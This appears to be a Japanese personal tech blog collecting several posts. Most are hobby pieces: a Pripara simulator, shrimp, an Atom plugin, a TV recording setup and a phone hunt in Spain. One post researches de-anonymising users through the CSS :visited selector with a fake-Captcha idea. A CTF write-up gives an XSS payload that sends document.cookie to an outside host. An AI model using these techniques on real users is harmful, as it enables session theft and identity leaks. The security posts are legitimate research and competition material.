プリパラで効率よく承認欲求を満たす

この記事は KMC Advent Calendar 2015 3日目(12/3)の記事です。

2日目の記事は、id: utgwさんの 古明地こいしのアドベントカレンダー&雑記と来年の抱負 でした。

今日はアドベントカレンダー用におもちゃを作ったので紹介します。

プリパラで承認欲求を満たす

最近、Twitterの「お気に入り」が「いいね」に変わりましたね。

そんな中Twitterやfacebookで「いいね」を集めている方もいらっしゃるかと思いますが、世の中にはもっと効率的に「いいね」を集める方法があります…

そうです、プリパラに行くのです!

女児向けゲームなのでこれまで縁のなかった方も多いかと思いますが、SNSでは通常味わえないほどの「いいね」をこのプリパラでは低価格で集めることができます。

1プレイ100円でリズムゲーム(ライブ)をプレイしたあとに「プリチケ」と呼ばれるカードが手に入るのですが、このライブを通じて通常2万前後の「いいね」を集めることができるのです。

1いいねが100円 といった「いいね」代行業者がある中、プリパラは 1円で200いいね を集めることができるのですから、コスパは最強と言えるでしょう。

【ゲーム中には「いいね」が勢い良く流れる】

https://gyazo.com/88b6e23f1d3bdc47d7a51f1d4efef836

リズムゲームでタイミングよく押せると「いいね」がもらえるのですが、もし合わなかったとしても「おしかったね」と励ましの言葉がもらえるので、ゲームが苦手な方も心が満たされるはず。
(決してpoor、bad、failのような冷め切った言葉ではない!!!)

プリパラシミュレータ

ただ、今すぐ「いいね」をあつめにプリパラに行くのも難しいと思うので、簡単なプリパラシミュレータを作ってみました。

Pripara Simulator

ハートが中心に来たタイミングで画面を押せば「いいね」を集めることができます。

さらに、ただただ「いいね」を集めたい人のために、「全自動承認モード」をご用意いたしました。

タイミングを合わせなくても「いいね」が得られるという超便利アイテムです。

https://gyazo.com/13e66d93b94d80c6c9743dff7ff632e2

これで皆さんの承認欲求がじゃぶじゃぶ満たされていけばと思います。

スマートフォンでも遊べます。

余談

2日前に思いたってかなり雑に作ってみました。

ちょうど作ってる途中で @hakatashi の Travis-CIで最強のデプロイ環境を構築する という記事が流れてきたので使ってみました。

Travis-CI is 便利。

あと、シミュレータでは「ラッキー!サプライズ☆バースデイ」の序盤を真似して作ってみたのですが、譜面の部分をES2015のgeneratorを使って実装してみたら思ったよりいい感じになったような気がしています。

scenario.js

let luckySurpriseBirthday = function * () {
  // ほんとにスペシャルなパーティーのはじまりは
  yield createCircle(1 / 8);
  yield * wait(baseStep);
  yield createCircle(0 / 8);
  yield * wait(baseStep);
  yield createCircle(7 / 8);
  yield * wait(baseStep);

また一部の筐体ではゲームのプレイ内容を録画できるようになっているのですが、作るにあたってそこで録画した内容がかなり参考になりました。ありがたい。

明日は id: 1995hnagamin さんの「好きなSCP-JPの紹介」です!

セキュリティミニキャンプ新潟でチューターをしていました

セキュリティミニキャンプ新潟が5/16, 5/17にありました。

ちなみにDEFCON Qualsが5/16~18にありました。

チューターとしてはあまり仕事をしていなかったかと思いますが、軽い発表をさせてもらいました。

:visitedセレクタのプライバシー問題とSNSでの利用

追記(2015年9月9日)

以下の記事は、2015年1月4日時点での内容となります。

2015年9月9日時点において、IE11で:visitedなリンクに対して透過度を変更できる仕様は修正されているようです。

参考: CVE-2015-1765, Internet Explorer 用の累積的なセキュリティ更新プログラム (3058515)

:visitedセレクタについて

半年以上前に少し調べたことについてまとめてみたいと思います。

まずCSSの擬似セレクタに:visitedがあり、:visitedセレクタではプライバシーの問題上、使用可能なプロパティが制限されていることはご存知の方も多いと思います。

訪問済みリンクの要素にbackground-imageを設定することで、訪問済みリンクの情報が漏れるという問題等の対策です。
(Calm brilliance – CSS Fingerprint: preliminary data)

詳細は Privacy and the :visited selector にある通りですが、そこでは

You will still be able to visually style visited links, but there are now limits on what styles you can use. Only the following properties can be applied to visited links:

– color
– background-color
– border-color (and its sub-properties)
– outline-color
– The color parts of the fill and stroke properties

In addition, even for the properties you can set for visited links, you won’t be able to change the transparency between unvisited and visited links, as you otherwise would be able to using rgba() or hsla() color values or the transparent keyword.

とあります。

CSS Fingerprint対策の他に、レンダリング速度で差が出ることで訪問済みかどうか判断できないようにRGB値以外のものは変化しないようになっています。(透過度も不可)

またJavaScriptでも訪問済みサイトを判定できないようにするため、getComputedStyleでstyleを取得した際は非訪問時のstyleが返るようになっています。

各ブラウザでの実装

ただし上記はMozillaの方針でして、他ブラウザでの実装はそれによりまちまちのようです。

W3Cのほうでは以下の様な記述はありますが、具体的な内容については見つかりませんでした。)

UAs may therefore treat all links as unvisited links, or implement other measures to preserve the user’s privacy while rendering visited and unvisited links differently.

試しに http://jsfiddle.net/tyage/fhrojfdn/ を表示させてみました。


Google Chrome (39.0.2171.95)

スクリーンショット 2015-01-02 16.17.33

Firefox (33.1.1)

スクリーンショット 2015-01-02 16.18.41

Safari (8.0.2)

スクリーンショット 2015-01-02 16.20.18

Internet Explorer (11.0.7)

スクリーンショット 2015-01-02 16.20.46


上が:visitedで透過度を変化させた場合、下が色だけを変化させた場合です。

おっと。IEでは:visitedで透過度を変化させることができるようです。

Chromeではなぜかアンダーラインだけ適用されています。

これによって描画にかかる時間の差から、訪問済みか訪問済みでないかが分かる可能性がありますが、うまくテストできなかったのでスキップします…

Twitter IDの表示

透過度を変化させ、SNSのIDを表示することを考えてみました。

Twitterを例に出すと、https://analytics.twitter.com にアクセスした場合 https://analytics.twitter.com/user/[id]/tweets にリダイレクトされます。

これを利用して、https://analytics.twitter.com/user/aaa/tweets から https://analytics.twitter.com/user/zzz/tweets までのリンクを全て重ねて表示するページを作ってみます。
(訪問済みリンク以外はtransparentになるCSSを利用するため、IEのみで動作します)

http://jsfiddle.net/tyage/dtna2qsg/

上記URLではTwitter IDが3文字の場合のリンクしか表示しないので多くの方は何も表示されないかと思いますが、5文字まで表示したところ以下のように私のTwitter IDが表示されました。

スクリーンショット 2015-01-02 18.51.30

表示されたIDを自動的に取得することはできませんが、Captchaと称してユーザに入力させれば取得することができそうです。(この場合、表示する内容はIDではなくてもよいですね)

5文字の半角英数字(小文字)IDを全て表示すると 36^5 = 60466176 個となるので現実的ではありませんが、4文字程度ならギリギリ表示できるのではないでしょうか。

IE以外でも

先ほどの例はIEで透過度を変更可能であることを利用したものでしたが、それ以外のブラウザでも利用できるものを考えてみます。

Twitter以外のサービスでいうと、pixivが利用できるでしょうか。

pixivでは http://www.pixiv.net/mypage.php にアクセスすると http://www.pixiv.net/mypage.php#id=[id] へとリダイレクトされます。

これを利用して以下のページを作ってみました。

http://jsfiddle.net/tyage/vwdxysmf/

このページではpixiv idから適当な4桁の数字を引いたものを入力することが求められるのですが、そのIDからID+9999までのリンクを表示するようになっています。

unvisitedなページは黄色い四角で、visitedなページは赤い四角で出力され、赤い四角をクリックするとpixiv idが表示されます。

background-colorを変えているだけなのでChromeやFirefoxでも動作します。

10万程度までなら難なくリンクを描画できるのですが、ユーザに選択させるのが難しくなりそうです。(今回は10000個表示しています。)

まとめ

IEでは:visited要素に対しても透過度を変化させることができるようでした。

パフォーマンステストによる訪問済みリンクの検出は今後の課題としします。

今回はSNSのIDの取得について考えてみましたが、「ID数が膨大であるため現実的な速度でページを表示できない」、「表示された内容の取得に際してユーザの操作を必要とする」といった理由からあまり現実的な方法は見つかりませんでした。

ただし、表示するリンクが数万程度で済む場合は現実的な手段があるかもしれません。
(また訪問者が「100個のWebサービスのうちどれを利用しているユーザか」程度なら問題なく表示できそうです。)

表示された内容の取得に関しては、偽物のCaptchaを取り上げましたが、他にもゲームの操作で取得する方法もあるかと思います。

今のところこれを利用した実際の情報漏洩は起こっていないと思いますが(【要出典】)、ブラウザの更新で似たような穴が生まれる可能性もあるので気にしておきたい点ではあります。

31C3 CTF – Page Builder writeup

This challenge needs only XSS but it is interesting to me :)

These guys have ripped off our designs and using them in their web pages builder! We’d Haxx them, don’t worry we’ll give you decent points for it. http://188.40.18.76/

スクリーンショット 2015-01-02 8.40.09

By using the form, we could generate a page.(such as http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/filename)

It htmlspecialchars the “title” and “file content” but not “style” or “filename”.

The maximum size of “style” is 8bytes and that of “filename” is 65bytes.

Then, “filename” can be foo.php and “style” can be <?php a so that it shows PHP error.

(http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/foo.php)

Parse error: syntax error, unexpected ‘” rel=”‘ (T_CONSTANT_ENCAPSED_STRING) in /var/www/html/output/19c94d778563b117e18e3442e887989aea14277d/foo.php on line 10

hmm… PHP code exeution looks difficult because maximum size of “style” is 8bytes and short_open_tag is offed. (and * is removed from “title” and “file content”)

So let’s search another vulnerability.

We can XSS with “filename”, because the error page above prints “filename” that is not escaped!

http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/%3Cbody onload=%22eval%28location.hash.slice%281%29%29%22.php#
location.href=%27http://tyage.net/%27+document.cookie

(Notice: we put the code in location.hash to fit in the maximum length of “filename”)

Now, just submit a link above in the contact form and we capture the flag!

31c3_Y0u_H4v3_F0und_My_W34k_Err0R_P01n7

ウィッシュリストテロでミナミヌマエビが450匹やってきた

amazonの欲しい物リストにミナミヌマエビを入れていたら450匹届きました…(15匹で1セットの商品が30セット届きました。)

いわゆるウィッシュリストテロってやつです!

@mage_1868 さん許すまじ!!(ありがとうございます!!!)

家にある小さい水槽には入りきらなかったので、さらに水槽を追加購入し、それでも入りきらないエビは梱包材の発泡スチロールに入れています。

IMAG0112

掃除屋さんなだけあって、エビのおかげで苔だらけだった水槽や水草が綺麗になりました!!

before:

苔だらけの水草
IMAG0099

苔だらけのまりも
IMAG0115

after:

綺麗になりました
IMAG0132

新しい水槽にはざっと200匹以上が住み着いているのですが、数に圧倒されています…

IMAG0124

上が前からあった水槽、下が新しく買った水槽です
IMAG0130

餌は何でも食べると聞いたので、友達にもらった炭酸せんべいをあげています。

かわいいし掃除してくれるしとてもいい子たちなのですが、数が多いとストレスが溜まりそうなので、親戚に少しゆずる予定です。

養殖て大儲けしたらエビ御殿とか建てれないかなぁ・・・

ウィッシュリストはいつでも受け付けておりますので、お気軽にポチって下さい。

Atomエディタ用にVideo player pluginを作りました

コーディング中でも動画が見たい人種に向けたプラグインです。

BGA(background animation)を流しながらコードを書いたりすることが多いのですが、せっかくならエディタの背景で流したいですよね。

ということで作ってみました。

pluginページ: video-player

使い方

  1. vlcの実行ファイルへのパスを設定 (Macならデフォルト値が設定されています)
  2. “Video Player: Play” コマンドを実行
  3. 動画ファイルを選択
  4. “Video Player: Stop” コマンドで終了

再生できる動画

video要素を利用しているだけなので、音声もちゃんと流れます。

Atomはchromiumベースなのでogg, webm, wavが再生できるのですが、mp4等には対応していません。

chromiumで対応していない形式に関しては、vlcを呼び出してogg形式に変換しつつ配信しています。

そのため、vlcで再生可能な形式ならなんでも再生できます。(画像もいけます。)

今後のアップデート

コントローラを出すとか、複数動画連続再生に対応するとかは考えています。

バグ報告等はgithubのissueに投げてください。

pull requestも受け付けています。

その他

他に同じようなエディタプラグインあったら参考にしたいので教えてください。

正直、背景で動画流れてると集中できない気もする。

ハンドルネーム

世間が某音楽デュオの話で盛り上がっているのでそれに便乗して…

よく聞かれるのですが、私のハンドルネームがチャゲになったのは、小学校3年生くらいの時からアダ名がそうだったからです。

中学・高校・大学もずっとそのアダ名で呼ばれているのですが、なぜそう呼ばれ始めたのかよく覚えていません。
(音楽ユニットに関係あったかもしれないしなかったかもしれない)

ハンドルネームとしてインターネットで10年近く利用していますが、エゴサーチしづらいだけでなく、たまに音楽ユニットと間違われることがあります。

最近だと、Google+で音楽ユニットの方が写っている忘年会の写真にタグ付けされて、限定公開の写真が見えてしまうということがありました。

Google+のプロフィールには、学校名とか所属している会社とか書いてあるので、見たらすぐにわかるはずなのですが…

案外、タグ付けする際に確認せずに気軽にタグ付けする人が多いのかもしれないですね。

逆に、芸能人になりすましてプロフィールを作ると、タグ付けされて情報が手に入ったりするのかもしれないと思いました。
(やりたくないし。やらないですが)

そもそも情報の公開範囲制限をかけてない投稿って多いですし、人間の操作ミスも含まれるので情報が漏れてしまうのを防ぐのはなかなか難しそうです。

話が大きくそれましたが、私のハンドルネームの由来を知っている方はご一報ください。

録画環境を構築した

環境

ハードはこれ

OSは未だにUbuntu 12.04

録画するまで

ここ数カ月はサラリーマン生活をしていて、朝10時に出勤しているのだけど、そうなるとさすがに夜更しがつらくなってきた。

深夜アニメを見る生活も捨てがたいし録画することにした。

PCで見たいので録画カードとしてPT3を買った。

届いてから設置して、Ubuntuにドライバを入れたりした。

PT3のドライバがgithubにあったので、すごい時代だなあと思いながらインストール。

recpt1が必要とのことだったのでこことかを参考にぐぐりながら入れて、再起動。

B-CASカードに関してはここでは述べないこととする。

録画管理にはepgdumpではなく、chinachuを使うことにした。

たまたま冬コミでマニュアルを手に入れていたこともあるけど、モダンな感じなのとnode.jsで書かれているのがいい感じ。
(epgdumpも入れてみたけどapacheやmysql依存してると開発環境とぶつかってよくない感じに・・・)

chinachuのWUIは結構充実してて、その場で番組視聴したり録画視聴できるのが嬉しい。

node.jsは既に入っていたし、wikiに書いてあるとおりにやったらすんなりいけた。

コマンド1回でだいたい終わるのはとても気持ちいい。

設定に関して、チャンネルは下のように総当たりでスキャンするか地域で調べるかすればよさげ。

for var in `seq 13 80` ; do recpt1 --b25 --strip $var 10 ./$var.ts;done

ど素人だけど半日あれば十分だった。

エンコード問題

録画環境が構築できたので試しに録画してみた。

ある程度覚悟はしていたものの、30分のアニメでm2ts形式のファイルだと3GB前後といった感じだった。

うう〜ん。。。でかい。。。

とりあえずmp4に変換しようと思い、HandBrakeを使ってみる。

Linux環境でもQSVが使えるらしく、ffmpegよりエンコード速度が速いかもとのこと。

[追記: 2014/10/25]まだLinux環境でもサポートされていないようでした。

インストール時に注意なのが、「ppa:stebbins/handbrake-releases」には「handbrake」はなくて「handbrake-cli」と「handbrake-gtk」があるということ。

試しに比較してみると、30分のアニメで、HandBrakeだと20分、ffmpegだと60分以上かかった。

この時の圧縮後の容量はHandBrakeは400MB、ffmpegは600MBという感じだった。

HandBrakeのほうが画質が落ちているように見えるが、比較しなければ気にならない程度。

当然、エンコード方式等々で変わってくるだろうからコマンドを貼っておく。

ffmpeg -i in.m2ts -vcodec libx264 out.mp4
HandBrakeCLI -e x264 --deinterlace fast --h264-profile main --modulus 2 -q 22 --aencoder copy:aac -i in.m2ts -o out.mp4

適当にencodeしたので適切に圧縮されているのか少し不安である。

tssplitter_liteを使ってみたけど、髪の毛ほどしか変わらなかった。
(recpt1にtssplitter_liteが内臓されているらしいので、既に処理されていたのかも)

このまま1ファイル約400MBで保存したとすると、1クール過ぎるたびに 30番組 * 12本 * 400MB = 144GB の容量が必要になる。

実際どんな感じなんでしょうかみなさん。

今後したいこと

  • エンコード自動化(早く)
  • Twitter連携
  • 動画用ストレージの用意
  • 動画配信サーバの用意
  • 録画専用サーバの用意(余裕があれば)

まだ導入したてなので、エンコード自動化するスクリプト書いてない。

そもそもどんな感じにエンコードしたらいいのか見極めきれてない。

chinachuとの連携に関しても、普通はWebSocketで監視すればいいのだろうけど、録画完了したら勝手にスクリプト叩くようにいじったほうが楽そうでもあるし、少し考え中。

あとはCMを消すかどうか。

どうでもいい番組に関しては(間違って内容消されても痛くないので)消すかもしれない。

スペインでFirefox OS端末は買えるのか?

この記事はKMCアドベントカレンダーの4日目の記事です。

1〜3日目の人達は技術系の記事を書いているため、僕は少し緩めの話をしようと思います。

僕は10月末〜11月初めまで、Facebook CTF決勝のためにチームEpsilonDeltaの4人でスペインにいました。
その時に、スペインで販売されているFirefox OS搭載の端末「ZTE Open」を購入しようとしたという話です。

もし今後スペインに行くことがあり、携帯端末を購入するという方の参考になればと思います。

※Facebook CTFに関する詳しい内容はC85で頒布する部誌に記事を載せているのでそちらをよろしくお願いします。
3日目 西地区 ”し” ブロック 42bです。
よろしくお願いします。
3日目 西地区 ”し” ブロック 42bです。

事の始まり

Firefox OS搭載の端末は、先ほど出てきたZTE Openの他にもPeak・Peak+・Keonなどありますが、これらは既に品切れ状態が続いており(Peakは再生産するらしい?)ほとんど手に入らないようです。

ZTE Openが初めて販売されたのはスペインからということで少し話題になりました。(http://gigazine.net/news/20130710-firefox-os-smartphone-zte-open/)
ZTE Openはebayで輸入することができるため日本にいても手に入るのですが、輸入にかかる費用を含めて1万円弱($94.99 USD)かかります。
一方、スペインで買うと7000円弱(49 EUR)で手に入るとわかりました(運が良ければ中古で安く手に入らないかとも期待していた)。

せっかくスペインに行くのだしこれを自分へのおみやげにしようと決めて出発したのでした。

11/3 朝

スペイン・バルセロナ自体には10/30昼〜11/4昼までいたのですが、CTFがあったりその他に行く場所があったりして、ZTE Openを探す時間ができたのは11/3と11/4になってしまいました。

11/3も観光地に寄る予定を組んでいたために、朝に1時間ほどしか動けませんでした。

しかもこの日は日曜日。
スペインでは日曜日になるとほぼ全ての店が閉まってしまいます。(日本だと異常事態ですね。)

ということでこの日はどこに行っても閉店・・・(流石に一部のコンビニや観光地のショップは開いていましたが)
ホテル付近の店は全滅という状態で諦めざるを得ませんでした。

スペインに行く際は日曜日(domingo)に気をつけて下さい。

11/4 9:30

この日は最終日なので9:30-12:00までの間に急いで探さないと行けませんでした。

前日に調べた結果、とりあえずホテルのすぐ近くにあるmovistar直営店に寄ることにしました。

movistarというのはスペイン語圏の国々で主に活動している会社で、スペインで最大の携帯事業会社となっています。
世界第5位の通信事業会社Telefónicaの子会社でもあります。

スペイン最大ということもあって、バルセロナの町の至る所にmovistarの直営店がありました。
(その他にはvodafoneやorangeやyoigoといった会社が多く見られました。)

どこにmovistarがあるのかはこのページで確認することができるのですが、本当にバルセロナを埋め尽くしているという感じです。

スペインではこのmovistarがZTE Openを取り扱っているらしく、実際に店頭に並べられていたり広告が貼られているのは事前に確認済みです。
このような特設ページも作られています。
http://www.movistar.es/firefoxos

スペイン語がわからない人間のために英語で書かれたZTE Open購入マニュアルも見つけました。
How to Buy ZTE Open – Step by Step Guide

これで準備も万全だ!と満を持してmovistarに入ると、スペイン人のお姉ちゃんが1人で店番をしているだけでした。

僕「Hola!」
店員「Hola!」
僕「Is there ZTE Open in this shop?」
店「Ah… what?」
僕「uhm… Do you have any Z T E O p e n?」(手にZTE Openの文字を書きながら)
店「&#'(“#$%&'(`*@{}*」(スペイン語)
僕「P…Perdon?」
店「There is ZTE Open but It is locked so…」
僕「???」

みたいなやりとりを数分繰り返していたのですが、店員の話によると「movistarで販売されいてるZTE Openはsim lock freeではない」「MEDIAMARKTか近くのデパートの電気屋に行けば買えるかもしれない」ということでした。

MEDIAMARKTはドイツに本社があるヨーロッパ最大のマーケットのことで、バルセロナ市内にもあったのですが、1時間ほどかかる場所にあったため時間的に行けそうにありませんでした。

そこで先ほど店員に教えてもらった近くのデパートに向かうことにしました。

11/4 10:30

デパートの6階にmovistarやその他の携帯事業者の出す携帯端末の販売店がありました。

Samsung GalaxyやNexusやHTCといった日本でもよく見る端末の他に、名前を聞いたことがない端末がいくつか並んでいました。
知らない端末に購買欲を駆られましたが、今狙っている端末はただ1つZTE Openだけだと我慢することに。

とりあえず店員に英語で大丈夫かと話しかけたところ英語が話せない人だったため、英語のわかる店員を呼んでもらいました。
ZTE Openがあるかどうか、先ほどと同じ手段で聞いてみたのですが「そんなものは聞いたことがない、うちには置いてない」と言われ、諦めることにしました。

後々考えるとうまく伝わってない可能性があったので、ZTE Openのビラでも見せていれば実はここで買えていたかもしれません。

11/4 11:00

こうなってしまうとどこにも行くあてがないので、ぶらぶらと放浪しながらmovistarの別の店に寄ったりしていたのですが、たまたま行き着いた場所で「Phone House」という店を発見。
google mapsで検索をかけると他にも10分圏内の位置に何件かあることがわかったため、3件ほど訪れてみました。

中には端末がいくつか用意されており、どうやらSIMカードも買えるみたいでした。

しかし使える携帯事業者にvodafone・orange・yoigoはあるのですがmovistarがない。。。

恐る恐るZTE Openがあるかどうか聞いてみたのですが、「そんな端末聞いたことがないよ」と言われてしまいました。
今回はZTE Openと書いた紙を持っていったので、僕の発音がめちゃくちゃで聞き取れないというわけでもなさそうです。(以外と知名度が低い???)

後から調べたところPhone HouseではZTE Openは扱っていないようでした。
http://www.phonehouse.es/moviles?movil-marca=ZTE&movil-sistema=Android&movil-precio=#movil

とはいえPhone House、スペインでモバイル通信するにはとても便利そうです。

結局

今回の旅ではZTE Openを購入することはできませんでした。

で、どうしたかというとやっぱり諦めきれないため、知り合いとebayで共同購入することになりました。
共同購入すると少し安くなるらしい。

反省点としては事前調査と当日の活動時間が足りなかったかなあと思います。

ただスペインに行く前は「スペイン人は英語しゃべれないから気をつけたほうがいい」と聞かされており、確かにデパートの店員なんかは英語でコミュニケーションが取れなかったのですが、movistarやPhone Shopの店員は英語を聞き取れる方が多いので案外なんとかなるかと思います。
初めに英語で大丈夫か聞くと、恥ずかしそうに「A little.」とか言ってくれます。(かわいい)

明日はtsutchoさんによる「CUDAのメモリの種類が多くて面倒だという話」です。
お楽しみに。

最後に、movistarで見つけたFirefox OSのカタログや広告の画像を貼っておきます。

Untitled

Untitled

Untitled

Untitled

ところでこれ、Firefox OS Advent Calenderに載せたほうがよかったのでは・・・